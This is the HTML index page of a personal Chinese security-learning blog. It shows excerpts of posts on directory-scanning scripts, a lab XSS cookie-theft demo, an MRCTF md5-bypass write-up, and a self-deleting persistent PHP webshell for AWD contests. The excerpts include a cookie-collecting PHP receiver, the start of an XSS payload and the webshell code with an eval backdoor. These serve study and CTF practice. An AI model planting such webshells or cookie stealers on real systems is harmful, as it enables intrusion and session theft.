-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
189 lines (176 loc) · 24.2 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>flymell - blog</title><meta name="author" content="flymell"><meta name="copyright" content="flymell"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="description" content="迈小步、不停步,天天进步">
<meta property="og:type" content="website">
<meta property="og:title" content="flymell">
<meta property="og:url" content="https://flymell.github.io/index.html">
<meta property="og:site_name" content="flymell">
<meta property="og:description" content="迈小步、不停步,天天进步">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://flymell.github.io/my_pic/touxiang.jpg">
<meta property="article:author" content="flymell">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://flymell.github.io/my_pic/touxiang.jpg"><link rel="shortcut icon" href="/img/favicon.jpg"><link rel="canonical" href="https://flymell.github.io/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><meta/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free@6/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = {
root: '/',
algolia: undefined,
localSearch: undefined,
translate: undefined,
noticeOutdate: undefined,
highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
copy: {
success: '复制成功',
error: '复制错误',
noSupport: '浏览器不支持'
},
relativeDate: {
homepage: false,
post: false
},
runtime: '',
date_suffix: {
just: '刚刚',
min: '分钟前',
hour: '小时前',
day: '天前',
month: '个月前'
},
copyright: undefined,
lightbox: 'fancybox',
Snackbar: undefined,
source: {
justifiedGallery: {
js: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery@2/dist/fjGallery.min.js',
css: 'https://cdn.jsdelivr.net/npm/flickr-justified-gallery@2/dist/fjGallery.min.css'
}
},
isPhotoFigcaption: false,
islazyload: false,
isAnchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
title: 'flymell',
isPost: false,
isHome: true,
isHighlightShrink: false,
isToc: false,
postUpdate: '2022-04-06 09:29:12'
}</script><noscript><style type="text/css">
#nav {
opacity: 1
}
.justified-gallery img {
opacity: 1
}
#recent-posts time,
#post-meta time {
display: inline !important
}
</style></noscript><script>(win=>{
win.saveToLocal = {
set: function setWithExpiry(key, value, ttl) {
if (ttl === 0) return
const now = new Date()
const expiryDay = ttl * 86400000
const item = {
value: value,
expiry: now.getTime() + expiryDay,
}
localStorage.setItem(key, JSON.stringify(item))
},
get: function getWithExpiry(key) {
const itemStr = localStorage.getItem(key)
if (!itemStr) {
return undefined
}
const item = JSON.parse(itemStr)
const now = new Date()
if (now.getTime() > item.expiry) {
localStorage.removeItem(key)
return undefined
}
return item.value
}
}
win.getScript = url => new Promise((resolve, reject) => {
const script = document.createElement('script')
script.src = url
script.async = true
script.onerror = reject
script.onload = script.onreadystatechange = function() {
const loadState = this.readyState
if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
script.onload = script.onreadystatechange = null
resolve()
}
document.head.appendChild(script)
})
win.activateDarkMode = function () {
document.documentElement.setAttribute('data-theme', 'dark')
if (document.querySelector('meta[name="theme-color"]') !== null) {
document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
}
}
win.activateLightMode = function () {
document.documentElement.setAttribute('data-theme', 'light')
if (document.querySelector('meta[name="theme-color"]') !== null) {
document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
}
}
const t = saveToLocal.get('theme')
if (t === 'dark') activateDarkMode()
else if (t === 'light') activateLightMode()
const asideStatus = saveToLocal.get('aside-status')
if (asideStatus !== undefined) {
if (asideStatus === 'hide') {
document.documentElement.classList.add('hide-aside')
} else {
document.documentElement.classList.remove('hide-aside')
}
}
const detectApple = () => {
if(/iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
document.documentElement.classList.add('apple')
}
}
detectApple()
})(window)</script><meta name="generator" content="Hexo 5.4.1"></head><body><div id="web_bg"></div><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="/my_pic/touxiang.jpg" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="site-data is-center"><div class="data-item"><a href="/archives/"><div class="headline">文章</div><div class="length-num">5</div></a></div><div class="data-item"><a href="/tags/"><div class="headline">标签</div><div class="length-num">8</div></a></div><div class="data-item"><a href="/categories/"><div class="headline">分类</div><div class="length-num">0</div></a></div></div><hr/><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 时间轴</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> 标签</span></a></div></div></div></div><div class="page" id="body-wrap"><header class="full_page" id="page-header" style="background-image: url('/my_pic/top_img.png')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">flymell</a></span><div id="menus"><div class="menus_items"><div class="menus_item"><a class="site-page" href="/"><i class="fa-fw fas fa-home"></i><span> 首页</span></a></div><div class="menus_item"><a class="site-page" href="/archives/"><i class="fa-fw fas fa-archive"></i><span> 时间轴</span></a></div><div class="menus_item"><a class="site-page" href="/tags/"><i class="fa-fw fas fa-tags"></i><span> 标签</span></a></div></div><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="site-info"><h1 id="site-title">flymell</h1><div id="site-subtitle"><span id="subtitle"></span></div></div><div id="scroll-down"><i class="fas fa-angle-down scroll-down-effects"></i></div></header><main class="layout" id="content-inner"><div class="recent-posts" id="recent-posts"><div class="recent-post-item"><div class="post_cover left"><a href="/2022/04/06/web%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F%E7%BA%BF%E7%A8%8B%E7%89%88/" title="web目录扫描线程版"><img class="post_bg" src="/images/cover/wqdog.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="web目录扫描线程版"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/04/06/web%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F%E7%BA%BF%E7%A8%8B%E7%89%88/" title="web目录扫描线程版">web目录扫描线程版</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-04-06T00:41:19.000Z" title="发表于 2022-04-06 08:41:19">2022-04-06</time></span></div><div class="content">前言上次写了一个简单的web目录扫描的脚本,但是扫描的速度较慢,这次我结合上次脚本,增加了多线程的模块,同时可以指定字典文件进行扫描。
脚本呈现12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273import getoptimport sysimport requestsimport threadingimport timedef help(): print(''' -h 查看帮助 -u 目标的url -f 字典文件路径''')def scan(tar_url): header = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Ap ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2022/04/04/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84web%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F%E8%84%9A%E6%9C%AC/" title="一个简单的web目录扫描脚本"><img class="post_bg" src="/images/cover/yingzi.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="一个简单的web目录扫描脚本"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/04/04/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84web%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F%E8%84%9A%E6%9C%AC/" title="一个简单的web目录扫描脚本">一个简单的web目录扫描脚本</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-04-04T02:23:25.000Z" title="发表于 2022-04-04 10:23:25">2022-04-04</time></span></div><div class="content">忏悔近忙于追剧和有一点堕落,所以blog停更了,哎,下次争取不会这样了
前言Python 学习是这段时间开始学习的,前几次学习都在本地上记录着,没有上传到blog,从这次开始,我就开始上传到blog上。
脚本呈现先直接上脚本
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253import getoptimport sysimport requestsdef help(): print(''' -h 查看帮助 -u + 目标的url''')def scan(tar_url): try: f = open('./php2.txt','r',encoding='utf-8') url_list1 = f.readlines() f.close() url ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2022/03/13/XSS%E5%88%A9%E7%94%A81/" title="XSS利用1"><img class="post_bg" src="/images/cover/xiyang.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="XSS利用1"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/03/13/XSS%E5%88%A9%E7%94%A81/" title="XSS利用1">XSS利用1</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-03-13T14:44:24.000Z" title="发表于 2022-03-13 22:44:24">2022-03-13</time></span></div><div class="content">前言最近接触XSS,才开始觉得 XSS的作用也就是获取Cookies,伪造用户登录而已,而且利用姿势比较苛刻,但是随着深入的学习,才发现并不是那么简单,下面开始复现几个XSS利用的场景。
场景获取用户cookie我们可以利用反射型XSS,通过向目标用户发送恶意的url,来获取对方的cookies,从而伪造用户登录
演示环境:
win7 虚拟机,开启web服务 (ip 为 192.168.0.104)
kali虚拟机,充当被害机
我们首先在 win7上搭起 DVWA平台(充当存在 XSS漏洞的平台 ),并在 web根目录创建 cookie.php 文件,便于接受 受害机传来的cookie
cookie.php的内容为:
12345<?php$cookie=$_GET['cookie'];file_put_contents('cookie.txt',$cookie);?>
当受害机登录到DVWA平台,找到反射型XSS选项后,在输入框里输入我们的payload:
<script>document.location=' ...</div></div></div><div class="recent-post-item"><div class="post_cover right"><a href="/2022/03/09/%E3%80%90MRCTF2020%E3%80%91Ez-bypass/" title="【MRCTF2020】Ez_bypass"><img class="post_bg" src="/images/cover/study.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="【MRCTF2020】Ez_bypass"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/03/09/%E3%80%90MRCTF2020%E3%80%91Ez-bypass/" title="【MRCTF2020】Ez_bypass">【MRCTF2020】Ez_bypass</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-03-09T14:19:37.000Z" title="发表于 2022-03-09 22:19:37">2022-03-09</time></span></div><div class="content">1.相关知识点md5的相关绕过md5的考点之前做过好几次了,但是都是当时明白了,过了一段时间后,就会忘记(主要还是没有做笔记)
这次考的是MD5=== 强比较,见代码
123456789101112131415161718192021222324252627282930313233343536373839404142<?phpI put something in F12 for youinclude 'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])) { $id=$_GET['id']; $gg=$_GET['gg']; if (md5($id) === md5($gg) && $id !== $gg) { echo &#x ...</div></div></div><div class="recent-post-item"><div class="post_cover left"><a href="/2022/03/09/%E4%B8%8D%E6%AD%BB%E9%A9%AC%E7%9A%84%E5%88%A9%E7%94%A8%E5%92%8C%E5%88%A0%E9%99%A4/" title="不死马的利用和删除"><img class="post_bg" src="/images/cover/lovelydog.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="不死马的利用和删除"></a></div><div class="recent-post-info"><a class="article-title" href="/2022/03/09/%E4%B8%8D%E6%AD%BB%E9%A9%AC%E7%9A%84%E5%88%A9%E7%94%A8%E5%92%8C%E5%88%A0%E9%99%A4/" title="不死马的利用和删除">不死马的利用和删除</a><div class="article-meta-wrap"><span class="post-meta-date"><i class="far fa-calendar-alt"></i><span class="article-meta-label">发表于</span><time datetime="2022-03-09T13:11:38.000Z" title="发表于 2022-03-09 21:11:38">2022-03-09</time></span></div><div class="content">前言与某位大佬闲聊,聊到了不死马 ,所以又自己搞了一下,不死马是成功生成了,但是删除却成了问题,反复折腾才成功删除。想到不死马以后打AWD会用到,所以就记录下来,以备后面使用。
简单的不死马什么是不死马不死马其实是内存马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行。(要记住这段代码是运行在php进程里,为下文删除不死马作铺垫)
简单不死马目前简单的不死马,自己弄明白了。下面可以分析分析
123456789101112<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '.s2.php';$code = '<?php if(md5($_GET["id"])=="a56707a55b5a10a3f9fe36590ac068ed"){@eval($_REQUEST[222]);} ?>';while (1) { file_put_contents($file, ...</div></div></div><nav id="pagination"><div class="pagination"><span class="page-number current">1</span></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="/my_pic/touxiang.jpg" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">flymell</div><div class="author-info__description">迈小步、不停步,天天进步</div></div><div class="card-info-data is-center"><div class="card-info-data-item"><a href="/archives/"><div class="headline">文章</div><div class="length-num">5</div></a></div><div class="card-info-data-item"><a href="/tags/"><div class="headline">标签</div><div class="length-num">8</div></a></div><div class="card-info-data-item"><a href="/categories/"><div class="headline">分类</div><div class="length-num">0</div></a></div></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/xxxxxx"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">This is my Blog</div></div><div class="sticky_layout"><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2022/04/06/web%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F%E7%BA%BF%E7%A8%8B%E7%89%88/" title="web目录扫描线程版"><img src="/images/cover/wqdog.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="web目录扫描线程版"/></a><div class="content"><a class="title" href="/2022/04/06/web%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F%E7%BA%BF%E7%A8%8B%E7%89%88/" title="web目录扫描线程版">web目录扫描线程版</a><time datetime="2022-04-06T00:41:19.000Z" title="发表于 2022-04-06 08:41:19">2022-04-06</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/04/04/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84web%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F%E8%84%9A%E6%9C%AC/" title="一个简单的web目录扫描脚本"><img src="/images/cover/yingzi.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="一个简单的web目录扫描脚本"/></a><div class="content"><a class="title" href="/2022/04/04/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84web%E7%9B%AE%E5%BD%95%E6%89%AB%E6%8F%8F%E8%84%9A%E6%9C%AC/" title="一个简单的web目录扫描脚本">一个简单的web目录扫描脚本</a><time datetime="2022-04-04T02:23:25.000Z" title="发表于 2022-04-04 10:23:25">2022-04-04</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/03/13/XSS%E5%88%A9%E7%94%A81/" title="XSS利用1"><img src="/images/cover/xiyang.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="XSS利用1"/></a><div class="content"><a class="title" href="/2022/03/13/XSS%E5%88%A9%E7%94%A81/" title="XSS利用1">XSS利用1</a><time datetime="2022-03-13T14:44:24.000Z" title="发表于 2022-03-13 22:44:24">2022-03-13</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/03/09/%E3%80%90MRCTF2020%E3%80%91Ez-bypass/" title="【MRCTF2020】Ez_bypass"><img src="/images/cover/study.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="【MRCTF2020】Ez_bypass"/></a><div class="content"><a class="title" href="/2022/03/09/%E3%80%90MRCTF2020%E3%80%91Ez-bypass/" title="【MRCTF2020】Ez_bypass">【MRCTF2020】Ez_bypass</a><time datetime="2022-03-09T14:19:37.000Z" title="发表于 2022-03-09 22:19:37">2022-03-09</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/03/09/%E4%B8%8D%E6%AD%BB%E9%A9%AC%E7%9A%84%E5%88%A9%E7%94%A8%E5%92%8C%E5%88%A0%E9%99%A4/" title="不死马的利用和删除"><img src="/images/cover/lovelydog.png" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="不死马的利用和删除"/></a><div class="content"><a class="title" href="/2022/03/09/%E4%B8%8D%E6%AD%BB%E9%A9%AC%E7%9A%84%E5%88%A9%E7%94%A8%E5%92%8C%E5%88%A0%E9%99%A4/" title="不死马的利用和删除">不死马的利用和删除</a><time datetime="2022-03-09T13:11:38.000Z" title="发表于 2022-03-09 21:11:38">2022-03-09</time></div></div></div></div><div class="card-widget card-tags"><div class="item-headline"><i class="fas fa-tags"></i><span>标签</span></div><div class="card-tag-cloud"><a href="/tags/AWD/" style="font-size: 1.1em; color: #999">AWD</a> <a href="/tags/CTF/" style="font-size: 1.1em; color: #999">CTF</a> <a href="/tags/CTF%E5%88%B7%E9%A2%98/" style="font-size: 1.1em; color: #999">CTF刷题</a> <a href="/tags/PHP/" style="font-size: 1.1em; color: #999">PHP</a> <a href="/tags/XSS/" style="font-size: 1.1em; color: #999">XSS</a> <a href="/tags/md5-%E7%BB%95%E8%BF%87/" style="font-size: 1.1em; color: #999">md5()绕过</a> <a href="/tags/python%E5%AD%A6%E4%B9%A0/" style="font-size: 1.5em; color: #99a9bf">python学习</a> <a href="/tags/%E5%B0%8F%E5%B7%A5%E5%85%B7/" style="font-size: 1.5em; color: #99a9bf">小工具</a></div></div><div class="card-widget card-archives"><div class="item-headline"><i class="fas fa-archive"></i><span>归档</span></div><ul class="card-archive-list"><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2022/04/"><span class="card-archive-list-date">四月 2022</span><span class="card-archive-list-count">2</span></a></li><li class="card-archive-list-item"><a class="card-archive-list-link" href="/archives/2022/03/"><span class="card-archive-list-date">三月 2022</span><span class="card-archive-list-count">3</span></a></li></ul></div><div class="card-widget card-webinfo"><div class="item-headline"><i class="fas fa-chart-line"></i><span>网站资讯</span></div><div class="webinfo"><div class="webinfo-item"><div class="item-name">文章数目 :</div><div class="item-count">5</div></div><div class="webinfo-item"><div class="item-name">本站访客数 :</div><div class="item-count" id="busuanzi_value_site_uv"></div></div><div class="webinfo-item"><div class="item-name">本站总访问量 :</div><div class="item-count" id="busuanzi_value_site_pv"></div></div><div class="webinfo-item"><div class="item-name">最后更新时间 :</div><div class="item-count" id="last-push-date" data-lastPushDate="2022-04-06T01:29:12.081Z"></div></div></div></div></div></div></main><footer id="footer" style="background-image: url('/my_pic/top_img.png')"><div id="footer-wrap"><div class="copyright">©2020 - 2022 By flymell</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.js"></script><div class="js-pjax"><script>function subtitleType () {
if (true) {
window.typed = new Typed("#subtitle", {
strings: ["迈小步、不停步,天天进步","做难而正确的事"],
startDelay: 300,
typeSpeed: 150,
loop: true,
backSpeed: 50
})
} else {
document.getElementById("subtitle").innerHTML = '迈小步、不停步,天天进步'
}
}
if (true) {
if (typeof Typed === 'function') {
subtitleType()
} else {
getScript('https://cdn.jsdelivr.net/npm/typed.js/lib/typed.min.js').then(subtitleType)
}
} else {
subtitleType()
}</script></div><canvas class="fireworks" mobile="false"></canvas><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1/dist/fireworks.min.js"></script><script defer="defer" id="fluttering_ribbon" mobile="false" src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1/dist/canvas-fluttering-ribbon.min.js"></script><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc@1/dist/activate-power-mode.min.js"></script><script>POWERMODE.colorful = true;
POWERMODE.shake = true;
POWERMODE.mobile = false;
document.body.addEventListener('input', POWERMODE);
</script><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/aplayer@1/dist/APlayer.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/aplayer@1/dist/APlayer.min.js"></script><script src="https://cdn.jsdelivr.net/gh/metowolf/[email protected]/dist/Meting.min.js"></script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div></body></html>